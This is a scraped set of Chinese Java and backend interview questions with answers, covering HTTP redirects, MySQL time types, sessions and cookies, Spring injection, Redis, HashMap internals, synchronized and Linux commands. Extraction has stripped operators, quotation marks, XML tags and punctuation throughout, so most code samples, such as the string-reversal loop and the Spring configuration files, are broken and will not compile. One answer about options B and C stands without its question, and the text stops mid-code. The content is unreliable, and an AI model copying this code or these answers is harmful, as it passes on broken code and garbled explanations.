301 表示被请求 url 永久转移到新的 url302 表示被请求 url 临时转移到新的 url。301 搜索引擎会索引新 url 和新 url 页面的内容302 搜索引擎可能会索引旧 url 和 新 url 的页面内容。302 的返回码可能被别人利用劫持你的网址。因为搜索引擎索引他的网址他返回 302 跳转到你的页面。
MySQL中有哪些时间字段
占用空间
DATETIME8 bytesTIMESTAMP4 bytesDATE4 bytesTIME3 bytesYEAR1 byte
日期格式
DATETIMEYYYY-MM-DD HH:MM:SSTIMESTAMPYYYY-MM-DD HH:MM:SSDATEYYYY-MM-DDTIMEHH:MM:SSYEARYYYY
最小值
DATETIME1000-01-01 00:00:00TIMESTAMP1970-01-01 00:00:01 UTCDATE1000-01-01TIME-838:59:59YEAR1901
最大值
DATETIME9999-12-31 23:59:59TIMESTAMP2038-01-19 03:14:07 UTCDATE9999-12-31TIME838:59:59YEAR2125
零值
DATETIME0000-00-00 00:00:00TIMESTAMP1970-01-01 00:00:01 UTCDATE0000-00-00TIME00:00:00YEAR0000
session和cookie有什么区别
浏览器和应用服务交互一般都是通过 Http 协议交互的。Http 协议是无状态的浏览器和服务器交互完数据连接就会关闭每一次的数据交互都要重新建立连接。即服务器是无法辨别每次是和哪个浏览器进行数据交互的。
为了确定会话中的身份就可以通过创建 session 或 cookie 进行标识。
两者区别
session 是在服务器端记录信息cookie 是在浏览器端记录信息session 保存的数据大小取决于服务器的程序设计理论值可以做到不限单个 cookie 保存的数据大小不超过4Kb大多数浏览器限制一个站点最多20个cookiesession 可以被服务器的程序处理为 key - value 类型的任何对象cookie 则是存在浏览器里的一段文本session 由于存在服务器端安全性高浏览器的 cookie 可能被其他程序分析获取所以安全性较低大量用户会话服务器端保存大量 session 对服务器资源消耗较大信息保存在 cookie 中缓解了服务器存储用信息的压力
一般实际使用中都是把关键信息保存在 session 里其他信息加密保存到cookie中。
如何将字符串反转 使用 StringBuilder 或 StringBuffer 的 reverse 方法本质都调用了它们的父类 AbstractStringBuilder 的 reverse 方法实现。JDK1.8 不考虑字符串中的字符是否是 Unicode 编码自己实现。 递归 package constxiong.interview; public class TestReverseString { public static void main(String[] args) {String str ABCDE;System.out.println(reverseString(str));System.out.println(reverseStringByStringBuilderApi(str));System.out.println(reverseStringByRecursion(str));
}/*** 自己实现* param str* return*/
public static String reverseString(String str) {if (str ! null str.length() 0) {int len str.length();char[] chars new char[len];for (int i len - 1; i 0; i--) {chars[len - 1 - i] str.charAt(i);}return new String(chars);}return str;
}/*** 使用 StringBuilder* param str* return*/
public static String reverseStringByStringBuilderApi(String str) {if (str ! null str.length() 0) {return new StringBuilder(str).reverse().toString();}return str;
}/*** 递归* param str* return*/
public static String reverseStringByRecursion(String str) {if (str null || str.length() 1) {return str;}return reverseStringByRecursion(str.substring(1)) str.charAt(0);
}}
迭代器Iterator是什么
首先说一下迭代器模式它是 Java 中常用的设计模式之一。用于顺序访问集合对象的元素无需知道集合对象的底层实现。Iterator 是可以遍历集合的对象为各种容器提供了公共的操作接口隔离对容器的遍历操作和底层实现从而解耦。缺点是增加新的集合类需要对应增加新的迭代器类迭代器类与集合类成对增加。
什么是服务治理为什么需要服务治理?
服务治理是主要针对分布式服务框架的微服务处理服务调用之间的关系、服务发布和发现、故障监控与处理服务的参数配置、服务降级和熔断、服务使用率监控等。
需要服务治理的原因
过多的服务 URL 配置困难负载均衡分配节点压力过大的情况下需要部署集群服务依赖混乱启动顺序不清晰过多服务导致性能指标分析难度较大需要监控故障定位与排查难度较大
Dubbo有哪些负载均衡策略
Dubbo 实现了常见的集群策略并提供扩展点予以自行实现。
Random LoadBalance随机选取提供者策略随机转发请求可以加权RoundRobin LoadBalance轮循选取提供者策略请求平均分布LeastActive LoadBalance最少活跃调用策略可以让慢提供者接收更少的请求ConstantHash LoadBalance一致性 Hash 策略相同参数请求总是发到同一提供者一台机器宕机可以基于虚拟节点分摊至其他提供者
缺省时为 Random LoadBalance
List、Set和Map接口的特点与常用的实现类
List 和 Set 实现了 Collection 接口。
List
允许重复的对象可以插入多个 null 元素是有序容器保持了每个元素的插入顺序常用的实现类有 ArrayList、LinkedList 和 Vector。ArrayList它提供了使用索引的随意访问LinkedList 更合适经常添加或删除元素的场景
Set
不允许重复对象只允许一个 null 元素Set 接口最常用的几个实现类是 HashSet、LinkedHashSet 以及 TreeSet。HashSet 基于 HashMap 实现LinkedHashSet 按照插入排序TreeSet 通过 Comparator 或 Comparable 接口实现排序
Map
是单独的顶级接口不是 Collection 的子接口Map 的 每个 Entry 都持有两个对象key 和 valuekey 唯一value 可为 null 或重复Map 接口常用的实现类有 HashMap、LinkedHashMap、Hashtable 和 TreeMapHashtable 和 未指定 Comparator 的 TreeMap 不可为 nullHashMap、LinkedHashMap、指定 Comparator 的 TreeMap 的 key 可以为 null
说一说你对Redis的事务的理解
Redis事务的特性
事务中的所有命令都会序列化、按顺序地执行。事务在执行的过程中不会被其他客户端发送来的命令请求所打断。没有隔离级别事务提交前结果不可见事务提交执行后可见不保证原子性Redis 同一个事务中有命令执行失败其后的命令仍然会被执行不会回滚
事务三阶段
开启MULTI 指令开启一个事务入队将多个命令入队到事务中这些命令不会立即执行而是放到等待执行的事务队列执行由 EXEC 指令触发事务执行
相关指令
multi标记一个事务块的开始返回 okexec执行所有事务块内事务块内所有命令执行的先后顺序的返回值操作被返回空值 nildiscard取消事务放弃执行事务块内的所有命令返回 okwatch监视 key 在事务执行之前是否被其他指令改动若已修改则事务内的指令取消执行返回 okunwatch取消 watch 命令对 key 的监视返回 ok
注
一旦 EXEC 指令执行之前加的监控锁就会取消Watch 指令类似乐观锁事务提交时如果 Key 的值已被别的客户端改变整个事务队列都不会被执行
如何使用oracle伪列删除表中重复记录 delete from table t where t.rowid ! (select max(t1.rowid) from table t1 where t1.namet.name)什么是spring boot为什么要用
spring boot 基于 spring 框架的快速开发整合包。
至于为什么要用先看下官方解释 好处
编码变得简单配置变得简单部署变得简单监控变得简单
二进制数小数点向右移一位值会发生什么变化
相当于乘以 2
如1.1 1 * 2^0 1 * 2^-1 1.5
小数点向右移 1 位为 11 1 * 2^1 1 * 2^0 3
spring常用的注入方式有哪些
1、xml中配置
bean 的申明、注册 节点注册 bean 节点的 factory-bean 参数指工厂 beanfactory-method 参数指定工厂方法
bean 的注入 节点使用 set 方式注入 节点使用 构造方法注入
实测代码
maven pom 文件
dependencygroupIdorg.springframework/groupIdartifactIdspring-beans/artifactIdversion4.2.4.RELEASE/version
/dependencydependencygroupIdorg.springframework/groupIdartifactIdspring-context/artifactIdversion4.2.4.RELEASE/version
/dependencya) set方法注入
class Bowl
package constxiong.interview.inject;public class Bowl {public void putRice() {System.out.println(盛饭...);}}class Person
package constxiong.interview.inject;public class Person {private Bowl bowl;public void eat() {bowl.putRice();System.out.println(开始吃饭...);}public void setBowl(Bowl bowl) {this.bowl bowl;}}spring 配置文件
?xml version1.0 encodingUTF-8?
beans xmlnshttp://www.springframework.org/schema/beansxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexmlns:contexthttp://www.springframework.org/schema/contextxsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsdhttp://www.springframework.org/schema/contexthttp://www.springframework.org/schema/context/spring-context.xsdbean idbowl classconstxiong.interview.inject.Bowl /bean idperson classconstxiong.interview.inject.Personproperty namebowl refbowl/property/bean/beans测试类
package constxiong.interview.inject;import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;public class InjectTest {public static void main(String[] args) {ApplicationContext context new ClassPathXmlApplicationContext(spring_inject.xml);Person person (Person)context.getBean(person);person.eat();}
}** b) 修改为 配置文件和class Person 节点使用 构造方法注入**
class Person
package constxiong.interview.inject;public class Person {private Bowl bowl;public Person(Bowl bowl) {this.bowl bowl;}public void eat() {bowl.putRice();System.out.println(开始吃饭...);}}spring 配置文件
?xml version1.0 encodingUTF-8?
beans xmlnshttp://www.springframework.org/schema/beansxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexmlns:contexthttp://www.springframework.org/schema/contextxsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsdhttp://www.springframework.org/schema/contexthttp://www.springframework.org/schema/context/spring-context.xsdbean idbowl classconstxiong.interview.inject.Bowl /bean idperson classconstxiong.interview.inject.Personconstructor-arg namebowl refbowl/constructor-arg/bean/beansc) 节点 factory-method 参数指定静态工厂方法
工厂类静态工厂方法
package constxiong.interview.inject;public class BowlFactory {public static final Bowl getBowl() {return new Bowl();}}spring 配置文件
?xml version1.0 encodingUTF-8?
beans xmlnshttp://www.springframework.org/schema/beansxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexmlns:contexthttp://www.springframework.org/schema/contextxsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsdhttp://www.springframework.org/schema/contexthttp://www.springframework.org/schema/context/spring-context.xsdbean idbowl classconstxiong.interview.inject.BowlFactory factory-methodgetBowl/bean idperson classconstxiong.interview.inject.Personconstructor-arg namebowl refbowl/constructor-arg/bean/beansd) 非静态工厂方法需要指定工厂 bean 和工厂方法
工厂类非静态工厂方法
package constxiong.interview.inject;public class BowlFactory {public Bowl getBowl() {return new Bowl();}}配置文件
?xml version1.0 encodingUTF-8?
beans xmlnshttp://www.springframework.org/schema/beansxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexmlns:contexthttp://www.springframework.org/schema/contextxsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsdhttp://www.springframework.org/schema/contexthttp://www.springframework.org/schema/context/spring-context.xsdbean idbowlFactory classconstxiong.interview.inject.BowlFactory/bean bean idbowl factory-beanbowlFactory factory-methodgetBowl/bean idperson classconstxiong.interview.inject.Personconstructor-arg namebowl refbowl/constructor-arg/bean/beans2、注解
bean 的申明、注册
Component //注册所有bean Controller //注册控制层的bean Service //注册服务层的bean Repository //注册dao层的bean
bean 的注入
Autowired 作用于 构造方法、字段、方法常用于成员变量字段之上。 Autowired Qualifier 注入指定 bean 的名称 Resource JDK 自带注解注入可以指定 bean 的名称和类型等
测试代码
e) spring 配置文件设置注解扫描目录
?xml version1.0 encodingUTF-8?
beans xmlnshttp://www.springframework.org/schema/beansxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexmlns:contexthttp://www.springframework.org/schema/contextxsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsdhttp://www.springframework.org/schema/contexthttp://www.springframework.org/schema/context/spring-context.xsdcontext:component-scan base-packageconstxiong.interview //beansclass Bowl
package constxiong.interview.inject;import org.springframework.stereotype.Component;
//import org.springframework.stereotype.Controller;
//import org.springframework.stereotype.Repository;
//import org.springframework.stereotype.Service;Component //注册所有bean
//Controller //注册控制层的bean
//Service //注册服务层的bean
//Repository //注册dao层的bean
public class Bowl {public void putRice() {System.out.println(盛饭...);}}class Person
package constxiong.interview.inject;//import javax.annotation.Resource;
//
import org.springframework.beans.factory.annotation.Autowired;
//import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.stereotype.Component;Component //注册所有bean
//Controller //注册控制层的bean
//Service //注册服务层的bean
//Repository //注册dao层的bean
public class Person {Autowired
// Qualifier(bowl)
// Resource(namebowl)private Bowl bowl;public void eat() {bowl.putRice();System.out.println(开始吃饭...);}}测试类同上
a、b、c、d、e 测试结果都ok
盛饭...
开始吃饭...客户端禁止cookiesession还能用吗
一般默认情况下在会话中服务器存储 session 的 sessionid 是通过 cookie 存到浏览器里。
如果浏览器禁用了 cookie浏览器请求服务器无法携带 sessionid服务器无法识别请求中的用户身份session失效。
但是可以通过其他方法在禁用 cookie 的情况下可以继续使用session。
通过url重写把 sessionid 作为参数追加的原 url 中后续的浏览器与服务器交互中携带 sessionid 参数。服务器的返回数据中包含 sessionid浏览器发送请求时携带 sessionid 参数。通过 Http 协议其他 header 字段服务器每次返回时设置该 header 字段信息浏览器中 js 读取该 header 字段请求服务器时js设置携带该 header 字段。
javap的作用是什么
javap 是 Java class文件分解器可以反编译也可以查看 java 编译器生成的字节码等。
javap 命令参数
javap -help
用法: javap options classes
其中, 可能的选项包括:-help --help -? 输出此用法消息-version 版本信息-v -verbose 输出附加信息-l 输出行号和本地变量表-public 仅显示公共类和成员-protected 显示受保护的/公共类和成员-package 显示程序包/受保护的/公共类和成员 (默认)-p -private 显示所有类和成员-c 对代码进行反汇编-s 输出内部类型签名-sysinfo 显示正在处理的类的系统信息 (路径, 大小, 日期, MD5 散列)-constants 显示静态最终常量-classpath path 指定查找用户类文件的位置-bootclasspath path 覆盖引导类文件的位置测试类
public class TestSynchronized {public void sync() {synchronized (this) {System.out.println(sync);}}
}使用命令进行反汇编 javap -c TestSynchronized
警告: 二进制文件TestSynchronized包含constxiong.interview.TestSynchronized
Compiled from TestSynchronized.java
public class constxiong.interview.TestSynchronized {public constxiong.interview.TestSynchronized();Code:0: aload_01: invokespecial #8 // Method java/lang/Object.init:()V4: returnpublic void sync();Code:0: aload_01: dup2: astore_13: monitorenter4: getstatic #15 // Field java/lang/System.out:Ljava/io/PrintStream;7: ldc #21 // String sync9: invokevirtual #22 // Method java/io/PrintStream.println:(Ljava/lang/String;)V12: aload_113: monitorexit14: goto 2017: aload_118: monitorexit19: athrow20: returnException table:from to target type4 14 17 any17 19 17 any
}Redis如何做内存优化
缩减键值对象满足业务要求下 key 越短越好value 值进行适当压缩共享对象池即 Redis 内部维护[0-9999]的整数对象池开发中在满足需求的前提下尽量使用整数对象以节省内存尽可能使用散列表(hashes)编码优化控制编码类型控制 key 的数量
linux指令-cal
显示公历日历 指令后只有一个参数表示年份1-9999 指令后有两个参数表示月份和年份
常用参数
-3 显示前一月当前月后一月三个月的日历
-m 显示星期一为第一列
-j 显示在当前年第几天
-y [year]显示[year]年份的日历cal 6 2019 显示 2019 年 6 月的日历String属于基础的数据类型吗
不属于。
Java 中 8 种基础的数据类型byte、short、char、int、long、float、double、boolean
但是 String 类型却是最常用到的引用类型。
ConcurrentHashMap了解吗说说实现原理。
HashMap 是线程不安全的效率高HashTable 是线程安全的效率低。
ConcurrentHashMap 可以做到既是线程安全的同时也可以有很高的效率得益于使用了分段锁。
实现原理
JDK 1.7
ConcurrentHashMap 是通过数组 链表实现由 Segment 数组和 Segment 元素里对应多个 HashEntry 组成value 和链表都是 volatile 修饰保证可见性ConcurrentHashMap 采用了分段锁技术分段指的就是 Segment 数组其中 Segment 继承于 ReentrantLock理论上 ConcurrentHashMap 支持 CurrencyLevel (Segment 数组数量)的线程并发每当一个线程占用锁访问一个 Segment 时不会影响到其他的 Segment
put 方法的逻辑较复杂
尝试加锁加锁失败 scanAndLockForPut 方法自旋超过 MAX_SCAN_RETRIES 次数改为阻塞锁获取将当前 Segment 中的 table 通过 key 的 hashcode 定位到 HashEntry遍历该 HashEntry如果不为空则判断传入的 key 和当前遍历的 key 是否相等相等则覆盖旧的 value不为空则需要新建一个 HashEntry 并加入到 Segment 中同时会先判断是否需要扩容最后释放所获取当前 Segment 的锁
get 方法较简单
将 key 通过 hash 之后定位到具体的 Segment再通过一次 hash 定位到具体的元素上由于 HashEntry 中的 value 属性是用 volatile 关键词修饰的保证了其内存可见性
JDK 1.8
抛弃了原有的 Segment 分段锁采用了 CAS synchronized 来保证并发安全性HashEntry 改为 Node作用相同val next 都用了 volatile 修饰
put 方法逻辑
根据 key 计算出 hash 值判断是否需要进行初始化根据 key 定位出的 Node如果为空表示当前位置可以写入数据利用 CAS 尝试写入失败则自旋如果当前位置的 hashcode MOVED -1则需要扩容如果都不满足则利用 synchronized 锁写入数据如果数量大于 TREEIFY_THRESHOLD 则转换为红黑树
get 方法逻辑
根据计算出来的 hash 值寻址如果在桶上直接返回值如果是红黑树按照树的方式获取值如果是链表按链表的方式遍历获取值
JDK 1.7 到 JDK 1.8 中的 ConcurrentHashMap 最大的改动
链表上的 Node 超过 8 个改为红黑树查询复杂度 O(logn)ReentrantLock 显示锁改为 synchronized说明 JDK 1.8 中 synchronized 锁性能赶上或超过 ReentrantLock
参考
https://www.cnblogs.com/fsychen/p/9361858.html
linux指令-less
浏览文件命令less 可以随意浏览文件less 在查看之前不会加载整个文件
常用参数
-i 忽略搜索时的大小写
-N 显示每行的行号
-o 文件名 将less 输出的内容在指定文件中保存起来
-s 显示连续空行为一行
/字符串 向下搜索“字符串”的功能
?字符串 向上搜索“字符串”的功能
n 重复前一个搜索与 / 或 ? 有关
N 反向重复前一个搜索与 / 或 ? 有关
-x 数字 将“tab”键显示为规定的数字空格
b 向后翻一页
d 向后翻半页
h 显示帮助界面
Q 退出less 命令
u 向前滚动半页
y 向前滚动一行
空格键 滚动一行
回车键 滚动一页
[pagedown] 向下翻动一页
[pageup] 向上翻动一页ps -aux | less -N ps 查看进程信息并通过 less 分页显示
less 1.log 2.log 查看多个文件可以使用 n 查看下一个使用 p 查看前一个什么场景要对象克隆
方法需要 return 引用类型但又不希望自己持有引用类型的对象被修改。程序之间方法的调用时参数的传递。有些场景为了保证引用类型的参数不被其他方法修改可以使用克隆后的值作为参数传递。
说一下HashMap的实现原理
HashMap 基于 Hash 算法实现通过 put(key,value) 存储get(key) 来获取 value当传入 key 时HashMap 会根据 key调用 hash(Object key) 方法计算出 hash 值根据 hash 值将 value 保存在 Node 对象里Node 对象保存在数组里当计算出的 hash 值相同时称之为 hash 冲突HashMap 的做法是用链表和红黑树存储相同 hash 值的 value当 hash 冲突的个数小于等于 8 使用链表大于 8 且 tab length 大于等于 64 时使用红黑树解决链表查询慢的问题
ps
上述是 JDK 1.8 HashMap 的实现原理并不是每个版本都相同比如 JDK 1.7 的 HashMap 是基于数组 链表实现所以 hash 冲突时链表的查询效率低hash(Object key) 方法的具体算法是 (h key.hashCode()) ^ (h 16)经过这样的运算让计算的 hash 值分布更均匀
说一些索引失效的情况
如果条件中有 or即使其中有部分条件是索引字段也不会使用索引复合索引查询条件不使用索引前面的字段后续字段也将无法使用索引以 % 开头的 like 查询索引列的数据类型存在隐形转换where 子句里对索引列有数学运算where 子句里对索引列使用函数MySQL 引擎估算使用全表扫描要比使用索引快则不使用索引
get和post请求有哪些区别
** 1、从主流浏览器的实现角度看**
**2、从 RFC 规范的角度看 **
GET 用于信息获取POST 表示可能修改服务器上的资源的请求GET 幂等即每次请求结果和产生的影响都一POST 不幂等GET 可缓存POST 不可缓存
参考
https://www.zhihu.com/question/28586791https://www.cnblogs.com/hyddd/archive/2009/03/31/1426026.html
synchronized关键字的作用是什么
Java 中关键字 synchronized 表示只有一个线程可以获取作用对象的锁执行代码阻塞其他线程。
作用
确保线程互斥地访问同步代码保证共享变量的修改能够及时可见有效解决重排序问题
用法
修饰普通方法修饰静态方法指定对象修饰代码块
特点
阻塞未获取到锁、竞争同一个对象锁的线程获取锁无法设置超时无法实现公平锁控制等待和唤醒需要结合加锁对象的 wait() 和 notify()、notifyAll()锁的功能是 JVM 层面实现的在加锁代码块执行完或者出现异常自动释放锁
原理
同步代码块是通过 monitorenter 和 monitorexit 指令获取线程的执行权同步方法通过加 ACC_SYNCHRONIZED 标识实现线程的执行权的控制
测试代码
public class TestSynchronized {public void sync() {synchronized (this) {System.out.println(sync);}}public synchronized void syncdo() {System.out.println(syncdo);}public static synchronized void staticSyncdo() {System.out.println(staticSyncdo);}
}通过JDK 反汇编指令 javap -c -v TestSynchronized
javap -c -v TestSynchronizedLast modified 2019-5-27; size 719 bytesMD5 checksum e5058a43e76fe1cff6748d4eb1565658Compiled from TestSynchronized.java
public class constxiong.interview.TestSynchronizedminor version: 0major version: 49flags: ACC_PUBLIC, ACC_SUPER
Constant pool:#1 Class #2 // constxiong/interview/TestSynchronized#2 Utf8 constxiong/interview/TestSynchronized#3 Class #4 // java/lang/Object#4 Utf8 java/lang/Object#5 Utf8 init#6 Utf8 ()V#7 Utf8 Code#8 Methodref #3.#9 // java/lang/Object.init:()V#9 NameAndType #5:#6 // init:()V#10 Utf8 LineNumberTable#11 Utf8 LocalVariableTable#12 Utf8 this#13 Utf8 Lconstxiong/interview/TestSynchronized;#14 Utf8 sync#15 Fieldref #16.#18 // java/lang/System.out:Ljava/io/PrintStream;#16 Class #17 // java/lang/System#17 Utf8 java/lang/System#18 NameAndType #19:#20 // out:Ljava/io/PrintStream;#19 Utf8 out#20 Utf8 Ljava/io/PrintStream;#21 String #14 // sync#22 Methodref #23.#25 // java/io/PrintStream.println:(Ljava/lang/String;)V#23 Class #24 // java/io/PrintStream#24 Utf8 java/io/PrintStream#25 NameAndType #26:#27 // println:(Ljava/lang/String;)V#26 Utf8 println#27 Utf8 (Ljava/lang/String;)V#28 Utf8 syncdo#29 String #28 // syncdo#30 Utf8 staticSyncdo#31 String #30 // staticSyncdo#32 Utf8 SourceFile#33 Utf8 TestSynchronized.java
{public constxiong.interview.TestSynchronized();descriptor: ()Vflags: ACC_PUBLICCode:stack1, locals1, args_size10: aload_01: invokespecial #8 // Method java/lang/Object.init:()V4: returnLineNumberTable:line 3: 0LocalVariableTable:Start Length Slot Name Signature0 5 0 this Lconstxiong/interview/TestSynchronized;public void sync();descriptor: ()Vflags: ACC_PUBLICCode:stack2, locals2, args_size10: aload_01: dup2: astore_13: monitorenter4: getstatic #15 // Field java/lang/System.out:Ljava/io/PrintStream;7: ldc #21 // String sync9: invokevirtual #22 // Method java/io/PrintStream.println:(Ljava/lang/String;)V12: aload_113: monitorexit14: goto 2017: aload_118: monitorexit19: athrow20: returnException table:from to target type4 14 17 any17 19 17 anyLineNumberTable:line 6: 0line 7: 4line 6: 12line 9: 20LocalVariableTable:Start Length Slot Name Signature0 21 0 this Lconstxiong/interview/TestSynchronized;public synchronized void syncdo();descriptor: ()Vflags: ACC_PUBLIC, ACC_SYNCHRONIZEDCode:stack2, locals1, args_size10: getstatic #15 // Field java/lang/System.out:Ljava/io/PrintStream;3: ldc #29 // String syncdo5: invokevirtual #22 // Method java/io/PrintStream.println:(Ljava/lang/String;)V8: returnLineNumberTable:line 12: 0line 13: 8LocalVariableTable:Start Length Slot Name Signature0 9 0 this Lconstxiong/interview/TestSynchronized;public static synchronized void staticSyncdo();descriptor: ()Vflags: ACC_PUBLIC, ACC_STATIC, ACC_SYNCHRONIZEDCode:stack2, locals0, args_size00: getstatic #15 // Field java/lang/System.out:Ljava/io/PrintStream;3: ldc #31 // String staticSyncdo5: invokevirtual #22 // Method java/io/PrintStream.println:(Ljava/lang/String;)V8: returnLineNumberTable:line 16: 0line 17: 8LocalVariableTable:Start Length Slot Name Signature
}
SourceFile: TestSynchronized.java基于TCP和UDP的Socket编程的主要步骤
JDK 在 java.net 包中为 TCP 和 UDP 两种通信协议提供了相应的 Socket 编程类TCP 协议服务端对应 ServerSocket客户端对应 SocketUDP 协议对应 DatagramSocket基于 TCP 协议创建的套接字可以叫做流套接字服务器端相当于一个监听器用来监听端口服务器与客服端之间的通讯都是输入输出流来实现的基于 UDP 协议的套接字就是数据报套接字客户端和服务端都要先构造好相应的数据包
基于 TCP 协议的 Socket 编程的主要步骤
服务端
指定本地的端口创建 ServerSocket 实例 用来监听指定端口的连接请求通过 accept() 方法返回的 Socket 实例建立了一个和客户端的新连接通过 Sockect 实例获取 InputStream 和 OutputStream 读写数据数据传输结束调用 socket 实例的 close() 方法关闭连接
客户端
指定的远程服务器 IP 地址和端口创建 Socket 实例通过 Socket 实例获取 InputStream 和 OutputStream 来进行数据的读写数据传输结束调用 socket 实例的 close() 方法关闭连接
基于 UDP 协议的 Socket 编程的主要步骤
服务端
指定本地端口创建 DatagramSocket 实例通过字节数组创建 DatagramPacket 实例调用 DatagramSocket 实例的 receive() 方法用 DatagramPacket 实例来接收数据设置 DatagramPacket 实例返回的数据调用 DatagramSocket 实例的 send() 方法来发送数据数据传输完成调用 DatagramSocket 实例的 close() 方法
客户端
创建 DatagramSocket 实例通过 IP 地址端口和数据创建 DatagramSocket 实例调用 DatagramSocket 实例 send() 方法发送数据包通过字节数组创建 DatagramSocket 实例调用 DatagramSocket 实例 receive() 方法接受数据包数据传输完成调用 DatagramSocket 实例的 close() 方法
运行时异常与受检异常有何异同
异常表示程序运行过程中可能出现的非正常状态
运行时异常表示程序代码在运行时发生的异常程序代码设计的合理这类异常不会发生受检异常跟程序运行的上下文环境有关即使程序设计无误仍然可能因使用的问题而引发Java编译器要求方法必须声明抛出可能发生未被捕获的受检异常不要求必须声明抛出运行时异常
Java中异常处理机制
Java 异常的结构 Throwable
–Error是程序无法处理的错误表示运行应用程序中较严重问题。大多数错误与代码编写者执行的操作无关而表示代码运行时 JVMJava 虚拟机出现的问题
–Exception
--RuntimeException运行时异常编译通过了但运行时出现的异常--非 RuntimeException编译时受检异常编译器检测到某段代码可能会发生某些问题需要程序员提前给代码做出错误的解决方案否则编译不通过 异常产生的原理
java 对异常默认的处理方式是将问题抛出给上一级抛出之前java 会根据错误产生的异常类创建出该类的对象底层并通过 throw 关键字将异常抛出给上一级不断向上抛出直到抛给了JVM 虚拟机虚拟机拿到异常之后就会将错误的原因和所在的位置打印在控制台
异常的处理方式
try catch 处理:自己将问题处理掉不会影响到后续代码的继续执行throw 抛出问题自己无法处理可以通过 throw 关键字将异常对象抛出给调用者。如果抛出的对象是 RuntimeException 或 Error则无需在方法上 throws 声明其他异常方法上面必须进行 throws 的声明告知调用者此方法存在异常
Redis使用单线程模型为什么性能依然很好
避免了线程切换的资源消耗单线程不存在资源共享与竞争不用考虑锁的问题基于内存的内存的读写速度非常快使用非阻塞的 IO 多路复用机制数据存储进行了压缩优化使用了高性能数据结构如 Hash、跳表等
如何用 Spring 实现国际化
JDK 内一套国际化的标准
ResourceBundle 抽象类PropertyResourceBundle propertes 文件获取国际化信息的实现类MessageFormat 可以对文本进行格式化
Spring 在此基础上进行了整合内建了 ResourceBundleMessageSource、ReloadableResourceBundleMessageSource、StaticMessageSource、DelegatingMessageSourc
MySQL中如何避免死锁
尽量以相同的顺序来访问索引记录和表业务上能够接受幻读和不可重复读考虑降低锁的级别到 Read committed降低死锁发生的概率添加合理的索引走索引避免为每一行加锁降低死锁的概率在事务中一次锁定所需要的所有资源如 MyISAM 引擎的表锁避免大事务尽量将大事务拆成多个小事务来处理尽量避免同时并发对同一表进行读写操作特别是执行加锁且操作数据量较大的语句设置锁等待超时参数
分析
无权限修饰符的类只能在同包中访问所以 B 不正确类的访问权限修饰符只能是 public 和 default所以 C 不正确
linux指令-mkdir
创建文件夹
-m: 对新建目录设置存取权限也可以用 chmod 命令设置;
-p: 若路径中的某些目录尚不存在系统将自动建立不存在的目录
mkdir t 当前工作目录下创建名为 t 的文件夹
mkdir -p /tmp/test/t 在 tmp 目录下创建路径为 test 目录test 目录下创建 t 目录Java中已经数组类型为什么还要提供集合
数组的优点
数组的效率高于集合类数组能存放基本数据类型和对象集合中只能放对象
数组的缺点
不是面向对象的存在明显的缺陷数组长度固定且无法动态改变集合类容量动态改变数组无法判断其中实际存了多少元素只能通过length属性获取数组的申明的长度数组存储的特点是顺序的连续内存集合的数据结构更丰富
JDK 提供集合的意义
集合以类的形式存在符合面向对象通过简单的方法和属性调用可实现各种复杂操作集合有多种数据结构不同类型的集合可适用于不同场合弥补了数组的一些缺点比数组更灵活、实用可提高开发效率
反射主要实现类有哪些
在JDK中主要由以下类来实现 Java 反射机制除了 Class 类一般位于 java.lang.reflect 包中
java.lang.Class 一个类java.lang.reflect.Field 类的成员变量(属性)java.lang.reflect.Method 类的成员方法java.lang.reflect.Constructor 类的构造方法java.lang.reflect.Array 提供了静态方法动态创建数组访问数组的元素
数据库的三范式是什么有什么作用
列不可分确保表的每一列都是不可分割的原子数据项。作用方便字段的维护、查询效率高、易于统计。属性字段完全依赖完全依赖指不能存在仅依赖主键的部分属性于主键。作用保证每行数据都是按主键划分的独立数据。任何非主属性字段不依赖于其它非主属性字段。作用减少表字段与数据存储让相互依赖的非主键字段单独成为一张关系表记录被依赖字段即可。
三大范式只是一般设计数据库的基本理念可以设计冗余较小、存储查询效率高的表结构。
但不能一味的去追求数据库设计范式数据库设计应多关注需求和性能重要程度需求 - 性能 - 表结构。比如有时候添加一个冗余的字段可以大大提高查询性能。
可变参数的作用和特点是什么
作用
在不确定参数的个数时可以使用可变参数。
**语法**参数类型…
特点
每个方法最多只有一个可变参数可变参数必须是方法的最后一个参数可变参数可以设置为任意类型引用类型基本类型参数的个数可以是 0 个、1 个或多个可变参数也可以传入数组无法仅通过改变 可变参数的类型来重载方法通过对 class 文件反编译可以发现可变参数被编译器处理成了数组
Runnable和Callable有什么区别
主要区别
Runnable 接口 run 方法无返回值Callable 接口 call 方法有返回值支持泛型Runnable 接口 run 方法只能抛出运行时异常且无法捕获处理Callable 接口 call 方法允许抛出异常可以获取异常信息
测试代码
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.FutureTask;public class TestRunnableAndCallable {public static void main(String[] args) {testImplementsRunable();testImplementsCallable();testImplementsCallableWithException();}//测试实现Runnable接口的方式创建、启动线程public static void testImplementsRunable() {Thread t1 new Thread(new CustomRunnable());t1.setName(CustomRunnable);t1.start();}//测试实现Callable接口的方式创建、启动线程public static void testImplementsCallable() {CallableString callable new CustomCallable();FutureTaskString futureTask new FutureTaskString(callable);Thread t2 new Thread(futureTask);t2.setName(CustomCallable);t2.start();try {System.out.println(futureTask.get());} catch (InterruptedException e) {e.printStackTrace();} catch (ExecutionException e) {e.printStackTrace();}}//测试实现Callable接口的方式创建、启动线程抛出异常public static void testImplementsCallableWithException() {CallableString callable new CustomCallable2();FutureTaskString futureTask new FutureTaskString(callable);Thread t3 new Thread(futureTask);t3.setName(CustomCallableWithException);t3.start();try {System.out.println(futureTask.get());} catch (InterruptedException e) {e.printStackTrace();} catch (ExecutionException e) 